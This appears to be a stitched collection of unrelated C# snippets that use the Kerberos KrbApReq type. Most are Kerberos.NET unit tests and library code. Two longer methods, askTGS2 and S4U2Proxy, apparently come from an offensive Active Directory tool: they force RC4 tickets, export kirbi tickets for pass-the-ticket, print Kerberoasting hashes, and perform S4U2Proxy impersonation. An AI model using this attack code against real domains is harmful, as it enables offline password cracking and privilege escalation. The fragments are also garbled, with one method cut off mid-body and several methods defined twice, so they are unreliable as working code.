public void AuthenticatorChecksum_ChecksumSource()
{
var key = new KerberosKey(key: new byte[32], etype: EncryptionType.AES256_CTS_HMAC_SHA1_96);
var rst = new RequestServiceTicket {
AuthenticatorChecksumSource = new byte[345]
};
KrbApReq apreq = GenerateApReq(rst, out KrbAuthenticator authenticator);
Assert.IsNotNull(apreq);
Assert.IsNotNull(authenticator);
Assert.IsNotNull(authenticator.Checksum);
var expected = KrbChecksum.Create(
rst.AuthenticatorChecksumSource,
key,
KeyUsage.AuthenticatorChecksum
);
Assert.IsTrue(
KerberosCryptoTransformer.AreEqualSlow(
expected.Checksum.Span,
authenticator.Checksum.Checksum.Span
)
);
}
public void AuthenticatorChecksum_AppChecksum()
{
var rst = new RequestServiceTicket
{
AuthenticatorChecksum = new KrbChecksum
{
Type = ChecksumType.HMAC_SHA256_128_AES128,
Checksum = new byte[245]
}
};
KrbApReq apreq = GenerateApReq(rst, out KrbAuthenticator authenticator);
Assert.IsNotNull(apreq);
Assert.IsNotNull(authenticator);
Assert.IsNotNull(authenticator.Checksum);
Assert.AreEqual(ChecksumType.HMAC_SHA256_128_AES128, authenticator.Checksum.Type);
Assert.IsTrue(
KerberosCryptoTransformer.AreEqualSlow(
new byte[245],
authenticator.Checksum.Checksum.Span
)
);
}
private static async Task TryValidate(string spn, KrbApReq ticket, string servicePassword, string serviceSalt)
{
var encoded = ticket.EncodeApplication().ToArray();
KerberosKey kerbKey;
if (string.IsNullOrWhiteSpace(serviceSalt))
{
kerbKey = new KerberosKey(
"P@ssw0rd!",
principalName: new PrincipalName(
PrincipalNameType.NT_PRINCIPAL,
ticket.Ticket.Realm,
new[] { spn }
),
saltType: SaltType.ActiveDirectoryUser
);
}
else
{
kerbKey = new KerberosKey(
servicePassword,
salt: serviceSalt,
etype: ticket.Ticket.EncryptedPart.EType,
saltType: SaltType.ActiveDirectoryService
);
}
var authenticator = new KerberosAuthenticator(new KeyTable(kerbKey));
var validated = (KerberosIdentity)await authenticator.Authenticate(encoded);
DumpRestrictions(validated);
}
public KerberosKey GetKey(KrbApReq token)
{
var type = token.Ticket.EncPart.EType;
var sname = token.Ticket.SName;
return(GetKey(type, sname));
}
private static DecryptedKrbApReq CreateDecryptedApReq(DateTimeOffset now, DateTimeOffset notBefore, DateTimeOffset notAfter, DateTimeOffset renewUntil)
{
var key = new KerberosKey(key: new byte[16], etype: EncryptionType.AES128_CTS_HMAC_SHA1_96);
var tgsRep = KrbKdcRep.GenerateServiceTicket <KrbTgsRep>(new ServiceTicketRequest
{
EncryptedPartKey = key,
Principal = new FakeKerberosPrincipal("*****@*****.**"),
ServicePrincipal = new FakeKerberosPrincipal("host/test.com"),
ServicePrincipalKey = key,
IncludePac = false,
RealmName = "test.com",
Now = now,
StartTime = notBefore,
EndTime = notAfter,
RenewTill = renewUntil,
Flags = TicketFlags.Renewable
});
var encKdcRepPart = tgsRep.EncPart.Decrypt(
key,
KeyUsage.EncTgsRepPartSessionKey,
d => KrbEncTgsRepPart.DecodeApplication(d)
);
var apReq = KrbApReq.CreateApReq(tgsRep, encKdcRepPart.Key.AsKey(), default, out KrbAuthenticator authenticator);
public void DecryptReferralTgt()
{
var ticket = KrbApReq.DecodeApplication(Convert.FromBase64String(ReferralTicket));
var apreq = new DecryptedKrbApReq(ticket, MessageType.KRB_AS_REQ);
var key = new KerberosKey(
"P@ssw0rd!",
new PrincipalName(
PrincipalNameType.NT_SRV_INST,
CRealm,
new[] { "krbtgt", "TEST.IDENTITYINTERVENTION.COM" }
),
saltType: SaltType.Rfc4120
);
apreq.Decrypt(key);
Assert.IsNotNull(apreq.Ticket);
Assert.AreEqual("Administrator", apreq.Ticket.CName.FullyQualifiedName);
Assert.AreEqual(CRealm, apreq.Ticket.CRealm);
var adif = apreq.Ticket.AuthorizationData.FirstOrDefault(f => f.Type == AuthorizationDataType.AdIfRelevant).DecodeAdIfRelevant();
var pacStr = adif.FirstOrDefault(f => f.Type == AuthorizationDataType.AdWin2kPac);
var pac = new PrivilegedAttributeCertificate(pacStr);
Assert.IsNotNull(pac);
Assert.AreEqual(500u, pac.LogonInfo.UserId);
}
private static KrbApReq GenerateApReq(RequestServiceTicket rst, out KrbAuthenticator authenticator)
{
var key = new KerberosKey(key: new byte[32], etype: EncryptionType.AES256_CTS_HMAC_SHA1_96);
var now = DateTimeOffset.UtcNow;
var notBefore = now.AddMinutes(-5);
var notAfter = now.AddMinutes(55);
var renewUntil = now.AddMinutes(555);
var tgsRep = KrbTgsRep.GenerateServiceTicket <KrbTgsRep>(new ServiceTicketRequest
{
EncryptedPartKey = key,
Principal = new FakeKerberosPrincipal("*****@*****.**"),
ServicePrincipal = new FakeKerberosPrincipal("host/test.com"),
ServicePrincipalKey = key,
IncludePac = false,
RealmName = "test.com",
Now = now,
StartTime = notBefore,
EndTime = notAfter,
RenewTill = renewUntil,
Flags = TicketFlags.Renewable
});
return(KrbApReq.CreateApReq(tgsRep, key, rst, out authenticator));
}
private DecryptedKrbApReq DecryptApReq(KrbApReq apReq, KerberosKey krbtgtKey)
{
var apReqDecrypted = new DecryptedKrbApReq(apReq, MessageType.KRB_TGS_REQ);
apReqDecrypted.Decrypt(krbtgtKey);
apReqDecrypted.Validate(Validation);
return(apReqDecrypted);
}
public void AuthenticatorChecksum_GssDefaults()
{
var rst = new RequestServiceTicket {
};
KrbApReq apreq = GenerateApReq(rst, out KrbAuthenticator authenticator);
Assert.IsNotNull(apreq);
Assert.IsNotNull(authenticator);
Assert.IsNotNull(authenticator.Checksum);
Assert.AreEqual((ChecksumType)32771, authenticator.Checksum.Type);
}
public async Task TransportBase()
{
var transport = new NoopTransport();
IAsn1ApplicationEncoder <KrbApReq> encoded = new KrbApReq {
};
var resp = await transport.SendMessage <KrbApReq, KrbAsRep>("sdf", encoded);
Assert.IsNotNull(resp);
}
private static void DumpTicket(KrbApReq ticket)
{
W("====== Ticket ======");
W($"Type: {ticket.MessageType}", ConsoleColor.Green);
W($"APOptions: {ticket.ApOptions}", ConsoleColor.Green);
W($"Realm: {ticket.Ticket.Realm}", ConsoleColor.Green);
W($"SName: {ticket.Ticket.SName.FullyQualifiedName}", ConsoleColor.Green);
W();
}
public void AuthenticatorChecksum_GssEmpty()
{
var rst = new RequestServiceTicket {
GssContextFlags = GssContextEstablishmentFlag.GSS_C_NONE
};
KrbApReq apreq = GenerateApReq(rst, out KrbAuthenticator authenticator);
Assert.IsNotNull(apreq);
Assert.IsNotNull(authenticator);
Assert.IsNull(authenticator.Checksum);
}
private static void DumpTicket(KrbApReq ticket)
{
WriteLine();
WriteLine($"Type: {ticket.MessageType}");
WriteLine($"APOptions: {ticket.ApOptions}");
WriteLine($"Realm: {ticket.Ticket.Realm}");
WriteLine($"SName: {ticket.Ticket.SName.FullyQualifiedName}");
WriteLine();
}
public void AuthenticatorChecksum_NoNonce()
{
var rst = new RequestServiceTicket {
IncludeSequenceNumber = false
};
KrbApReq apreq = GenerateApReq(rst, out KrbAuthenticator authenticator);
Assert.IsNotNull(apreq);
Assert.IsNotNull(authenticator);
Assert.IsNotNull(authenticator.Checksum);
Assert.IsNull(authenticator.SequenceNumber);
}
public void AuthenticatorChecksum_NonceDefaults()
{
var rst = new RequestServiceTicket {
};
KrbApReq apreq = GenerateApReq(rst, out KrbAuthenticator authenticator);
Assert.IsNotNull(apreq);
Assert.IsNotNull(authenticator);
Assert.IsNotNull(authenticator.Checksum);
Assert.IsNotNull(authenticator.SequenceNumber);
Assert.AreNotEqual(0, authenticator.SequenceNumber.Value);
}
public KerberosKey GetKey(KrbApReq token)
{
var type = token.Ticket.EncPart.EType;
var sname = token.Ticket.SName;
var entry = Entries.FirstOrDefault(e => e.EncryptionType == type && sname.Equals(e.Principal));
if (entry == null && Entries.Count == 1)
{
entry = Entries.FirstOrDefault();
}
return(entry?.Key);
}
private static DecryptedData Decrypt(KrbApReq token, KeyTable keytab)
{
if (token?.Ticket?.EncPart == null)
{
return(null);
}
DecryptedData decryptor = null;
if (Decryptors.TryGetValue(token.Ticket.EncPart.EType, out Func <KrbApReq, DecryptedData> func) && func != null)
{
decryptor = func(token);
}
if (decryptor != null)
{
decryptor.Decrypt(keytab);
}
return(decryptor);
}
public KerberosKey GetKey(KrbApReq token)
{
var type = token.Ticket.EncPart.EType;
var sname = token.Ticket.SName;
// Match on type (e.g. RC4_HMAC_NT) and name (Realm + Name)
var entry = Entries.FirstOrDefault(e => e.EncryptionType == type && sname.Matches(e.Principal));
// Fall back to first entry with matching type (RC4_HMAC_NT)
if (entry == null)
{
entry = Entries.FirstOrDefault(e => e.EncryptionType == type);
}
// Fall back to first entry
if (entry == null)
{
entry = Entries.FirstOrDefault();
}
return(entry?.Key);
}
private static async Task TryValidate(string spn, KrbApReq ticket)
{
var encoded = ticket.EncodeApplication().ToArray();
var authenticator = new KerberosAuthenticator(
new KeyTable(
new KerberosKey(
"P@ssw0rd!",
principalName: new PrincipalName(
PrincipalNameType.NT_PRINCIPAL,
"CORP.IDENTITYINTERVENTION.com",
new[] { spn }
),
saltType: SaltType.ActiveDirectoryUser
)
)
);
var validated = (KerberosIdentity)await authenticator.Authenticate(encoded);
DumpClaims(validated);
}
private static async Task ValidateTicket(KrbApReq ticket)
{
var encoded = ticket.EncodeApplication().ToArray();
var authenticator = new KerberosAuthenticator(
new KeyTable(
new KerberosKey(
"P@ssw0rd!",
principalName: new PrincipalName(
PrincipalNameType.NT_PRINCIPAL,
"CORP.IDENTITYINTERVENTION.com",
new[] { "host/appservice.corp.identityintervention.com" }
),
saltType: SaltType.ActiveDirectoryUser
)
)
);
var validated = (KerberosIdentity)await authenticator.Authenticate(encoded);
Assert.IsNotNull(validated);
Assert.AreEqual(validated.FindFirst(ClaimTypes.Sid).Value, "S-1-5-123-456-789-12-321-888");
}
public KerberosRequest(byte[] data)
{
var element = new Asn1Element(data);
for (var i = 0; i < element.Count; i++)
{
var child = element[i];
switch (child.ContextSpecificTag)
{
case 0:
NegotiationToken = new NegTokenInit(child[0]);
break;
case MechType.ContextTag:
MechType = new MechType(child.AsString());
break;
case 110:
Request = new KrbApReq(child[0]);
break;
}
}
}
private DecryptedData DecryptKerberos(KrbApReq request, KeyTable keytab)
{
return(Decrypt(request, keytab));
}
//TODO...
//askTGS with TGT kirbi
public static async System.Threading.Tasks.Task <TicketFlags> askTGS2(string kdc,
ILoggerFactory logger,
TcpKerberosTransport transport,
KrbAsRep asRep,
string username,
string password,
string domainName,
string spn,
bool isUnconstrained = false,
bool outKirbi = false,
bool verbose = false,
bool kerberoast = false,
bool ptt = false,
string hash = null,
EncryptionType etype = EncryptionType.RC4_HMAC_NT,
bool outfile = false,
string srvName = null,
string tgsHash = null,
EncryptionType tgsEtype = EncryptionType.AES256_CTS_HMAC_SHA1_96
)
{
var now = DateTime.Now;
credKey = password != null ?
new KerberosPasswordCredential(username, password, domainName).CreateKey() :
new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();
KrbEncAsRepPart asDecrypted = cred.DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d));
var sessionKey = asDecrypted.Key;
//Request Service Ticket parameters
ApOptions apOptions = ApOptions.Reserved;
KdcOptions kdcOptions =
KdcOptions.Forwardable |
KdcOptions.Renewable |
KdcOptions.RenewableOk |
KdcOptions.Canonicalize;
string s4u = null;
KrbTicket s4uTicket = null;
KrbTicket u2uServerTicket = null;
if (isUnconstrained)
{
spn = $"krbtgt/{domainName}";
kdcOptions |= KdcOptions.Forwarded;
}
var rst = new RequestServiceTicket()
{
ServicePrincipalName = spn,
ApOptions = apOptions,
S4uTarget = s4u,
S4uTicket = s4uTicket,
UserToUserTicket = u2uServerTicket,
KdcOptions = kdcOptions,
Realm = domainName
};
var sname = rst.ServicePrincipalName.Split('/', '@');
var tgt = asRep.Ticket;
var additionalTickets = new List <KrbTicket>();
if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
{
additionalTickets.Add(rst.UserToUserTicket);
}
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
rst.KdcOptions |= KdcOptions.Forwardable;
}
if (rst.S4uTicket != null)
{
rst.KdcOptions |= KdcOptions.ConstrainedDelegation;
additionalTickets.Add(rst.S4uTicket);
}
var body = new KrbKdcReqBody
{
//Specify RC4 as the only supported EType
EType = new[] { EncryptionType.RC4_HMAC_NT },//KrbConstants.KerberosConstants.ETypes.ToArray(),
KdcOptions = rst.KdcOptions,
Nonce = KrbConstants.KerberosConstants.GetNonce(),
Realm = rst.Realm,
SName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = sname
},
Till = KrbConstants.KerberosConstants.EndOfTime,
CName = rst.CNameHint
};
if (additionalTickets.Count > 0)
{
body.AdditionalTickets = additionalTickets.ToArray();
}
var bodyChecksum = KrbChecksum.Create(
body.Encode(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqChecksum
);
//ApReq
//Authenticator
var authenticator = new KrbAuthenticator
{
CName = asRep.CName,
Realm = asRep.Ticket.Realm,
SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
Checksum = bodyChecksum,
CTime = now,
CuSec = now.Millisecond //new Random().Next(0, 999999)
};
var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);
subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey;
authenticator.Subkey = subSessionKey;
var encryptedAuthenticator = KrbEncryptedData.Encrypt(
authenticator.EncodeApplication(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqAuthenticator
);
var apReq = new KrbApReq
{
Ticket = tgt,
ApOptions = apOptions,
Authenticator = encryptedAuthenticator
};
var pacOptions = new KrbPaPacOptions
{
Flags = PacOptions.BranchAware
}.Encode();
var paData = new List <KrbPaData>()
{
new KrbPaData
{
Type = PaDataType.PA_TGS_REQ,
Value = apReq.EncodeApplication()
},
new KrbPaData
{
Type = PaDataType.PA_PAC_OPTIONS,
Value = pacOptions
}
};
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
var paS4u = new KrbPaForUser
{
AuthPackage = "Kerberos",
UserName = new KrbPrincipalName {
Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
},
UserRealm = tgt.Realm
};
paS4u.GenerateChecksum(subSessionKey.AsKey());
paData.Add(new KrbPaData
{
Type = PaDataType.PA_FOR_USER,
Value = paS4u.Encode()
});
}
var tgs = new KrbTgsReq
{
PaData = paData.ToArray(),
Body = body
};
ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();
Console.WriteLine("[*] Sending TGS-REQ ...");
if (verbose)
{
PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
}
CancellationToken cancellation = default;
cancellation.ThrowIfCancellationRequested();
KrbTgsRep tgsRep = null;
try
{
tgsRep = await transport.SendMessage <KrbTgsRep>(
rst.Realm,
encodedTgs,
cancellation
);
}
catch (KerberosProtocolException pex)
{
Console.WriteLine("[x] Kerberos Error: {0}\n", pex.Message);
Environment.Exit(0);
}
Console.WriteLine("[*] Receiving TGS-REP ...");
if (verbose)
{
PrintFunc.PrintRep(tgsRep, credKey);
}
var returnFlag = TicketFlags.Anonymous;
try
{
//TGS-REP Enc-Part
//https://github.com/dotnet/Kerberos.NET/blob/develop/Kerberos.NET/Entities/Krb/KrbTgsReq.cs#L144
KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
subSessionKey.AsKey(),
KeyUsage.EncTgsRepPartSubSessionKey,
(ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));
if (verbose)
{
Console.WriteLine(" * [Decrypted Enc-Part]:");
PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
returnFlag = tgsDecryptedRepPart.Flags;
if (!string.IsNullOrEmpty(tgsHash))
{
//=========================================
//TGS Tiket Enc-Part
//Service account Cred
var kerbCred2 = new Utils.KerberosHashCreds(srvName, tgsHash, tgsEtype);
//TGS-REQ Ticket Enc-Part
KrbEncTicketPart ticketDecrypted = tgsRep.Ticket.EncryptedPart.Decrypt <KrbEncTicketPart>
(kerbCred2.CreateKey(),
KeyUsage.Ticket,
(ReadOnlyMemory <byte> t) => KrbEncTicketPart.DecodeApplication(t));
Console.WriteLine(" * [Decrypted Ticket Enc-Part]:");
PrintFunc.PrintTicketEnc(ticketDecrypted);
//=========================================
}
}
if (outKirbi || outfile)
{
var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
if (outKirbi)
{
Console.WriteLine("[+] TGS Kirbi:");
Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS));
}
if (outfile)
{
Utils.Utils.WriteBytesToFile(Utils.Utils.MakeTicketFileName(username, sname), kirbiTGS);
}
}
}
catch (Exception e)
{
Console.WriteLine("[x] {0}", e.Message);
}
if (kerberoast)
{
//Kerberoasting
var encType = (int)Enum.Parse(typeof(EncryptionType), tgsRep.Ticket.EncryptedPart.EType.ToString());
var myCipher = (BitConverter.ToString(tgsRep.Ticket.EncryptedPart.Cipher.ToArray())).Replace("-", "");
var kroasthash = String.Format("$krb5tgs${0}$*{1}${2}${3}*${4}${5}", encType, username, domainName, spn, myCipher.Substring(0, 32), myCipher.Substring(32));
Console.WriteLine("[+] Kerberoasting Hash: {0}", kroasthash);
}
return(returnFlag);
}
protected AESDecryptedData(KrbApReq token)
{
this.Token = token;
}
public DecryptedKrbApReq(KrbApReq token, MessageType incomingMessageType = MessageType.KRB_AP_REQ)
{
this.token = token ?? throw new ArgumentNullException(nameof(token));
this.incomingMessageType = incomingMessageType;
}
private static void DecodeAsApReq(byte[] bytes, TreeNode parentNode)
{
var apReq = KrbApReq.DecodeApplication(bytes);
ExplodeObject(apReq, "AP-REQ", parentNode);
}
public RC4DecryptedData(KrbApReq token)
{
this.token = token;
}
//S4U2Proxy
//[MS-SFU] 3.2.5.2.1.2 Using ServicesAllowedToSendForwardedTicketsTo
//The KDC checks if the security principal name(SPN) for Service 2,
//identified in the sname and srealm fields of the KRB_TGS_REQ message,
//is in the Service 1 account's ServicesAllowedToSendForwardedTicketsTo parameter.
//If it is, then the KDC replies with a service ticket for Service 2.
//Otherwise the KDC MUST return `KRB-ERR-BADOPTION`.
public static async System.Threading.Tasks.Task S4U2Proxy(string kdc,
ILoggerFactory logger,
TcpKerberosTransport transport,
KrbAsRep asRep,
KrbTgsRep s4u2self,
string username,
string password,
string domainName,
string impersonateuser,
string spn,
bool outKirbi = false,
bool verbose = false,
bool ptt = false,
string hash = null,
EncryptionType etype = EncryptionType.RC4_HMAC_NT)
{
var now = DateTime.UtcNow;
credKey = password != null ?
new KerberosPasswordCredential(username, password, domainName).CreateKey() :
new Utils.KerberosHashCreds(username, hash, etype, domainName).CreateKey();
KrbEncAsRepPart asDecrypted = password != null ?
new KerberosPasswordCredential(username, password, domainName).DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d)) :
new Utils.KerberosHashCreds(username, hash, etype, domainName).DecryptKdcRep(
asRep,
KeyUsage.EncAsRepPart,
d => KrbEncAsRepPart.DecodeApplication(d));
var sessionKey = asDecrypted.Key;
//Request Service Ticket parameters
ApOptions apOptions = ApOptions.Reserved;
KdcOptions kdcOptions =
KdcOptions.Forwardable |
KdcOptions.Renewable |
KdcOptions.RenewableOk;
string s4u = null;
KrbTicket s4uTicket = s4u2self.Ticket;
KrbTicket u2uServerTicket = null;
var rst = new RequestServiceTicket()
{
ServicePrincipalName = spn,
ApOptions = apOptions,
S4uTarget = s4u,
S4uTicket = s4uTicket,
UserToUserTicket = u2uServerTicket,
KdcOptions = kdcOptions,
Realm = domainName
};
var sname = rst.ServicePrincipalName.Split('/', '@');
var tgt = asRep.Ticket;
var additionalTickets = new List <KrbTicket>();
if (rst.KdcOptions.HasFlag(KdcOptions.EncTktInSkey) && rst.UserToUserTicket != null)
{
additionalTickets.Add(rst.UserToUserTicket);
}
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
rst.KdcOptions |= KdcOptions.Forwardable;
}
if (rst.S4uTicket != null)
{
rst.KdcOptions = rst.KdcOptions | KdcOptions.ConstrainedDelegation | KdcOptions.CNameInAdditionalTicket;
additionalTickets.Add(rst.S4uTicket);
}
//EncryptionType[] kdcReqEtype = { EncryptionType.RC4_HMAC_NT };
string[] name = { };
var body = new KrbKdcReqBody
{
EType = KrbConstants.KerberosConstants.ETypes.ToArray(),
KdcOptions = rst.KdcOptions,
Nonce = KrbConstants.KerberosConstants.GetNonce(),
Realm = rst.Realm,
SName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = sname
},
Till = KrbConstants.KerberosConstants.EndOfTime,
CName = new KrbPrincipalName()
{
Type = PrincipalNameType.NT_SRV_INST,
Name = name
},
};
if (additionalTickets.Count > 0)
{
body.AdditionalTickets = additionalTickets.ToArray();
}
var bodyChecksum = KrbChecksum.Create(
body.Encode(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqChecksum
);
//ApReq
//Authenticator
var authenticator = new KrbAuthenticator
{
CName = asRep.CName,
Realm = asRep.Ticket.Realm,
SequenceNumber = KrbConstants.KerberosConstants.GetNonce(),
Checksum = bodyChecksum,
CTime = now,
CuSec = now.Millisecond //new Random().Next(0, 999999)
};
var subSessionKey = KrbEncryptionKey.Generate(sessionKey.EType);
subSessionKey.Usage = KeyUsage.EncTgsRepPartSubSessionKey;
authenticator.Subkey = subSessionKey;
var encryptedAuthenticator = KrbEncryptedData.Encrypt(
authenticator.EncodeApplication(),
sessionKey.AsKey(),
KeyUsage.PaTgsReqAuthenticator
);
var apReq = new KrbApReq
{
Ticket = tgt,
ApOptions = apOptions,
Authenticator = encryptedAuthenticator
};
var pacOptions = new KrbPaPacOptions
{
Flags = PacOptions.ResourceBasedConstrainedDelegation
}.Encode();
var paData = new List <KrbPaData>()
{
new KrbPaData
{
Type = PaDataType.PA_TGS_REQ,
Value = apReq.EncodeApplication()
},
new KrbPaData
{
Type = PaDataType.PA_PAC_OPTIONS,
Value = pacOptions
}
};
if (!string.IsNullOrWhiteSpace(rst.S4uTarget))
{
var paS4u = new KrbPaForUser
{
AuthPackage = "Kerberos",
UserName = new KrbPrincipalName {
Type = PrincipalNameType.NT_ENTERPRISE, Name = new[] { s4u }
},
UserRealm = tgt.Realm
};
paS4u.GenerateChecksum(subSessionKey.AsKey());
paData.Add(new KrbPaData
{
Type = PaDataType.PA_FOR_USER,
Value = paS4u.Encode()
});
}
var tgs = new KrbTgsReq
{
PaData = paData.ToArray(),
Body = body
};
ReadOnlyMemory <byte> encodedTgs = tgs.EncodeApplication();
Console.WriteLine("[*] Sending TGS-REQ [S4U2Proxy] ...");
if (verbose)
{
PrintFunc.PrintReq(tgs, credKey, sessionKey.AsKey());
}
CancellationToken cancellation = default;
cancellation.ThrowIfCancellationRequested();
KrbTgsRep tgsRep = null;
try
{
tgsRep = await transport.SendMessage <KrbTgsRep>(
rst.Realm,
encodedTgs,
cancellation
);
}
catch (KerberosProtocolException pex)
{
Console.WriteLine("[x] Kerberos Error: {0}", pex.Message);
Environment.Exit(0);
}
Console.WriteLine("[*] Receiving TGS-REP [S4U2Proxy] ...");
try
{
KrbEncTgsRepPart tgsDecryptedRepPart = tgsRep.EncPart.Decrypt <KrbEncTgsRepPart>(
subSessionKey.AsKey(),
KeyUsage.EncTgsRepPartSubSessionKey,
(ReadOnlyMemory <byte> t) => KrbEncTgsRepPart.DecodeApplication(t));
if (verbose)
{
PrintFunc.PrintRep(tgsRep, credKey);
Console.WriteLine(" * [Decrypted Enc-Part]:");
PrintFunc.PrintRepEnc(tgsDecryptedRepPart, credKey);
}
if (outKirbi)
{
var kirbiTGS = Kirbi.toKirbi(tgsRep, tgsDecryptedRepPart, ptt);
Console.WriteLine("[+] TGS Kirbi:");
Console.WriteLine(" - {0}", Convert.ToBase64String(kirbiTGS));
}
}catch (Exception e)
{
Console.WriteLine("[x] {0}", e.Message);
}
}
public AES256DecryptedData(KrbApReq token)
: base(token)
{
decryptor = new AES256Decryptor();
}
public DecryptedKrbApReq(KrbApReq token, MessageType incomingMessageType = MessageType.KRB_AP_REQ)
{
this.token = token;
this.incomingMessageType = incomingMessageType;
}